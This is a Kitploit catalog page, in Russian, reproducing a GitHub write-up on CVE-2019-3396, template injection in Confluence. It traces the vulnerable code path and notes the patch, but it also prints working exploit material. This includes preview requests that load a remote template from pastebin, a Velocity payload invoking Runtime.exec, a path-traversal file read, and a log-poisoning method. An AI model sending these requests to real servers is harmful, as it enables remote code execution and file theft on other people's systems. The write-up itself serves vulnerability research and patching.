Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-3396 — Неавторизованное внедрение шаблона в Confluence | Kitploit
Инструменты/GitHubGitHub/petrusviet/cve-2019-3396
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubpetrusviet/cve-2019-3396

cve-2019-3396

Неавторизованное внедрение шаблона в Confluence

Репозиторий
2115 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Неавторизованное внедрение шаблона в Confluence (CVE-2019-3396)

I) Сборка

  • Эта ошибка возникает в следующих версиях:
    • Все версии 1.x.x, 2.x.x, 3.x.x, 4.x.x и 5.x.x
    • Все версии 6.0.x, 6.1.x, 6.2.x, 6.3.x, 6.4.x и 6.5.x
    • Все версии 6.6.x до 6.6.12
    • Все версии 6.7.x, 6.8.x, 6.9.x, 6.10.x и 6.11.x
    • Все версии 6.12.x до 6.12.3
    • Все версии 6.13.x до 6.13.3
    • Все версии 6.14.x до 6.14.2
  • После загрузки исходников вам необходимо:
    • Изменить значение confluence.home на путь к домашней директории Confluence в файле ./confluence/WEB-INF/classes/confluence-init.properties
    • Добавить значение CATALINA_OPTS для возможности удаленной отладки программы

Для Windows, файл ./bin/setenv.bat

root@kitploit:~
set CATALINA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

для Linux, файл ./bin/setenv.sh

root@kitploit:~
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=5005 ${CATALINA_OPTS}"  
  • В IDE (Intellij) создаем конфигурацию отладки: Remote JVM Debug с параметрами host и port localhost:5005 и Command line arguments for remote JVM
  • root@kitploit:~
    -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
    
    • Можно использовать Postgresql в качестве базы данных:
    root@kitploit:~
    $ su - postgres
    postgres@ubuntu:~$ psql -U postgres
    postgres@ubuntu:~$ psql -U postgres
    psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
    Type "help" for help.
     
    postgres=# CREATE USER wiki WITH PASSWORD 'wiki';
    CREATE ROLE
    postgres=# CREATE DATABASE wiki OWNER wiki;
    CREATE DATABASE
    postgres=# GRANT ALL PRIVILEGES ON DATABASE jira TO wiki;
    GRANT
    
    • Необходимо добавить jar-файлы: ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar, ./confluence/WEB-INF/lib/confluence-x.x.x.jar, ./confluence/WEB-INF/lib/velocity-x.x.x-atlassian-x.jar в библиотеки, чтобы при отладке можно было видеть нужный исходный код.

    • Запускаем файл ./bin/start-confluence.bat; вы также можете ознакомиться с этим руководством для установки из исходников.

    II) Анализ

    • Прочитав описание, мы можем понять, что эта ошибка начинается с функции Widget Connector, поэтому я сразу гуглю, что это за функция и как её использовать:

      2 входим в редактирование страницы

      3
      Выбираем Другие макросы

      4 Выбираем Widget connector

      image

    • Я произвольно выбираю параметры и нажимаю предварительный просмотр, после чего переключаюсь на Burp, чтобы посмотреть, нет ли чего интересного. image

    • В этом пакете я вижу параметр "pluginKey":"com.atlassian.confluence.extra.widgetconnector", поэтому предполагаю, что функция Widget Connector определена в классе com.atlassian.confluence.extra.widgetconnector. Я начинаю искать в путях, нет ли подозрительного jar-пакета.

    image

    • Пробую добавить файл ./confluence/WEB-INF/atlassian-bundled-plugins/widgetconnector-x.x.x.jar в библиотеки проекта, чтобы можно было читать исходный код и отлаживать.

      1
      Как добавить jar-файл в библиотеки

    • Открыв пакет widgetconnector, я нахожу класс WidgetMacro, который вызывает интерес. Я ставлю точку останова в конструкторе и в функции execute этого класса, чтобы посмотреть, вызывается ли он при использовании функции Preview 🕵️

      • image

      • Функция execute была вызвана, затем программа обращается к DefaultRenderManager.getEmbeddedHtml

      • image

      • Мы видим, чтобы попасть внутрь if, нужно выполнить условие widgetRenderer.matches(url). Проверяем функцию widgetRenderer.matches(url) в классе YoutubeRenderer

      • image

      • image

      • Таким образом, нужно, чтобы параметр url был ссылкой на видео YouTube (или Vimeo, Twitter, ...). Я устанавливаю url в ссылку на любое видео YouTube, и программа заходит в if, после чего вызывает widgetRenderer.getEmbeddedHtml(url, params) (класс YoutubeRenderer)

      • image

      • Программа переходит к функции setDefaultParam, где мы видим скрытый параметр _template, который выглядит подозрительно :)

      • image

      • После выхода из функции setDefaultParam, программа вызывает DefaultVelocityRenderService.render

      • image

      • Далее переходим к getRenderedTemplate и VelocityUtils.getRenderedTemplate(String templateName, Map<?, ?> contextMap)

      • image

      • image

      • Затем к VelocityUtils.getRenderedTemplate(String templateName, Context context) и getRenderedTemplateWithoutSwallowingErrors(templateName, context)

      • image

      • Функция renderTemplateWithoutSwallowingErrors:

      • image

      • Программа вызывает getTemplate, затем VelocityEngine.getTemplate и RuntimeInstance.getTemplate. Здесь мы видим, что программа вызывает функцию getResource с входным параметром, равным значению параметра _template. В Java функция getResource может использоваться для загрузки ресурса в виде локального файла или файла в интернете (по протоколу HTTP).

      • Остановимся и подумаем: не позволяет ли это злоумышленнику передать произвольный шаблон (с локального сервера или с хоста злоумышленника) в программу, добавив параметр _template в запрос??

      • image

      • Продолжаем трассировку обратно, чтобы узнать, как программа обрабатывает полученный шаблон:

      • После получения шаблона программа вызывает VelocityUtils.renderTemplateWithoutSwallowingErrors(template, context, writer);

      • image

      • Затем переходит к template.merge(context, writer);

      root@kitploit:~
      public void merge(Context context, Writer writer, List macroLibraries) throws ResourceNotFoundException, ParseErrorException, MethodInvocationException {
            if (this.errorCondition != null) {
                throw this.errorCondition;
            } else if (this.data == null) {
                String msg = "Template.merge() failure. The document is null, most likely due to parsing error.";
                throw new RuntimeException(msg);
            } else {
                InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
                ica.setMacroLibraries(macroLibraries);
                if (macroLibraries != null) {
                    for(int i = 0; i < macroLibraries.size(); ++i) {
                        try {
                            this.rsvc.getTemplate((String)macroLibraries.get(i));
                        } catch (ResourceNotFoundException var17) {
                            this.rsvc.getLog().error("template.merge(): cannot find template " + (String)macroLibraries.get(i));
                            throw var17;
                        } catch (ParseErrorException var18) {
                            this.rsvc.getLog().error("template.merge(): syntax error in template " + (String)macroLibraries.get(i) + ".");
                            throw var18;
                        } catch (Exception var19) {
                            throw new RuntimeException("Template.merge(): parse failed in template  " + (String)macroLibraries.get(i) + ".", var19);
                        }
                    }
                }
      
                if (this.provideScope) {
                    ica.put(this.scopeName, new Scope(this, ica.get(this.scopeName)));
                }
      
                try {
                    ica.pushCurrentTemplateName(this.name);
                    ica.setCurrentResource(this);
                    ((SimpleNode)this.data).render(ica, writer);      ### POC может быть выполнен здесь ###
                } catch (StopCommand var20) {
                    if (!var20.isFor(this)) {
                        throw var20;
                    }
      
                    if (this.rsvc.getLog().isDebugEnabled()) {
                        this.rsvc.getLog().debug(var20.getMessage());
                    }
                } catch (IOException var21) {
                    throw new VelocityException("IO Error rendering template '" + this.name + "'", var21);
                } finally {
                    ica.popCurrentTemplateName();
                    ica.setCurrentResource((Resource)null);
                    if (this.provideScope) {
                        Object obj = ica.get(this.scopeName);
                        if (obj instanceof Scope) {
                            Scope scope = (Scope)obj;
                            if (scope.getParent() != null) {
                                ica.put(this.scopeName, scope.getParent());
                            } else if (scope.getReplaced() != null) {
                                ica.put(this.scopeName, scope.getReplaced());
                            } else {
                                ica.remove(this.scopeName);
                            }
                        }
                    }
      
                }
      
            }
        }
      
      • Здесь мы видим, что программа вызывает SimpleNode.render. Эта функция использует шаблонизатор Velocity для обработки шаблона. Теперь мы понимаем, что можем написать PoC для RCE:

    POST-запрос при запросе функции Preview

    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Cookie: seraph.confluence=; JSESSIONID=
    Connection: close
    
    {
    "contentId":"622594",
    "macro": {
        "name":"widget",
        "body":"","params": {
          "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
          "width":"10",
          "height":"10",
          "_template":"https://pastebin.com/raw/JPEpiuLG"
          }
    }
    }
    

    файл payload

    root@kitploit:~
    #set($x="x")
    $x.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
    
    • PoC выполнен успешно:
    • image

    Стек вызовов

    root@kitploit:~
    WidgetMacro: execute
      -> DefaultRenderManager: getEmbeddedHtml
      	-> YoutubeRenderer: getEmbeddedHtml
      		-> DefaultVelocityRenderService: render -> getRenderedTemplate
      			-> (confluence-6.12.2.jar) VelocityUtils: getRenderedTemplate -> getRenderedTemplate -> getRenderedTemplateWithoutSwallowingErrors -> renderTemplateWithoutSwallowingErrors -> getTemplate -> getVelocityEngine
      				
      				-> VelocityEngine: getTemplate
      					-> RuntimeInstance: getResource 
    
      			-> (confluence-6.12.2.jar) VelocityUtils: renderTemplateWithoutSwallowingErrors
    
      				-> Template: merge
      					=>  SimpleNode: render
    
    Скачать инструмент

    Таким образом, мы успешно воспроизвели эту ошибку, но в случае, когда целью является сервер, блокирующий исходящие соединения, злоумышленник не может получить ресурс из Интернета, а может получить только локальные файлы сервера.

    Итак, как же можно эксплуатировать в таком случае?

    Я получил подсказку: каким-то образом пользователь может внедрить полезную нагрузку в файл журнала. Это довольно хорошая идея, поэтому я сразу же начинаю искать способ.

    • Я начинаю изучать файлы журналов в Confluence Home, чтобы увидеть, что в них особенного. Просматриваю файлы журналов в ./shared-home/analytics-logs/ и замечаю несколько знакомых ключей-значений, которые, похоже, отправляются со стороны клиента.
    • image
    • Я вижу пакет POST /rest/analytics/1.0/publish/bulk, который отправляет несколько таких ключей-значений.
    root@kitploit:~
    [{"name":"browser.metrics.navigation",
    "properties":{
     "apdex":"0.5",
     "firstPaint":"528",
     "isInitial":"true",
     "journeyId":"9e60e71a-8ebe-478c-a638-ee9423f5798f",
     "key":"confluence.dashboard.view",
     "navigationType":"0",
     "readyForUser":"1117",
     "redirectCount":"0",
     "resourceLoadedEnd":"499",
     "resourceLoadedStart":90.35499999299645,
     "threshold":"1000",
     "unloadEventStart":"47",
     "unloadEventEnd":"47",
     "fetchStart":"25",
     "domainLookupStart":"25",
     "domainLookupEnd":"25",
     "connectStart":"25",
     "connectEnd":"25",
     "requestStart":"27",
     "responseStart":"28",
     "responseEnd":"37",
     "domLoading":"52",
     "domInteractive":"538",
     "domContentLoadedEventStart":"538",
     "domContentLoadedEventEnd":"691",
     "domComplete":"1176",
     "loadEventStart":"1176",
     "loadEventEnd":"1176",
     "userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36",
     "pageEnd":"531",
     "isBigPipeEnabled":"false",
     "serverDuration":"339",
     "requestCorrelationId":"36006c54d2919ecd",
     "resourceTiming":"{\"☠\":[\"2,2i,2i,,,2i,,2i,2i,2i\",\"2,2i,31,2m,2k,2i,,2i,2i,2i\",\"2,2j,31,2m,2l,2j,,2j,2j,2j\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2l,2l,,,2l,,2l,2l,2l\",\"3,2m,2m,,,2m,,2m,2m,2m\",\"3,2n,2n,,,2n,,2n,2n,2n\",\"5,bz,cv,cv,c0,bz,,bz,bz,bz\",\"4,d6,d6,,,d6,,d6,d6,d6\",\"4,d7,d7,,,d7,,d7,d7,d7\",\"3,dq,dv,dr,dq,dq,,dq,dq,dq\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,ej,ej,,,ej,,ej,ej,ej\",\"4,er,er,,,er,,er,er,er\",\"5,fl,fn,fn,fm,fl,,fl,fl,fl\",\"5,g9,ha,h9,gb,g9,,g9,g9,g9\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,hv,hv,,,hv,,hv,hv,hv\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,ik,ik,,,ik,,ik,ik,ik\",\"4,il,il,,,il,,il,il,il\",\"5,h4,ta,t0,pl,pk,,h6,h4,h4\"]}",
     "userTimingRaw":"{\"marks\":{},\"measures\":{}}","experiments":"[]"},"timeDelta":-5176
     }]
    
    • Я пробую заменить некоторые значения и замечаю, что значение resourceTiming можно произвольно изменять, и оно всё равно будет добавлено в журнал.
    • image
    • Таким образом, мы можем внедрить полезную нагрузку в файл журнала, находящийся локально на сервере.
    • Отсюда мы можем прочитать файл ./confluence/WEB-INF/classes/confluence-init.properties, чтобы узнать расположение домашней директории Confluence.
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
      
    {
    "contentId":"1507329",
    "macro":{
    "name":"widget",
    "body":"",
    "params":{
      "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
      "_template":"/../../WEB-INF/classes/confluence-init.properties",
      "width":"11",
      "height":"11"
      }
    }
    }
    
    • Затем, исходя из этого, находим местоположение файла журнала, содержащего внедрённую нами полезную нагрузку:
    root@kitploit:~
    POST /rest/tinymce/1/macro/preview HTTP/1.1
        
    {
    "contentId":"1507329",
    "macro":{
      "name":"widget",
      "body":"",
      "params":{
        "url":"https://www.youtube.com/watch?v=WfDp-TkSoFY&ab_channel=TAPMusic",
        "_template":"file:C://Users/XXXXX...XXXXX/.confluence/shared-home/analytics-logs/bd0f2792fe0234be516b843e25d54a14.515465381.atlassian-analytics.log",
        "width":"11",
        "height":"11"
        }
      }
    }
    
    • Если файл журнала слишком велик, чтобы его можно было использовать в качестве шаблона для обработки, мы можем инициировать ротацию журнала, чтобы файл достиг предельного размера, после чего система автоматически запишет новые данные в новый файл, и злоумышленник сможет воспользоваться тем, что новый файл журнала ещё невелик, и внедрить полезную нагрузку для использования.

    III) Исправление

    В патче в класс WidgetMacro была добавлена функция doSanitizeParameters, которая удаляет параметр "_template" перед вызовом renderManager.getEmbeddedHtml(url, parameters);

    image image image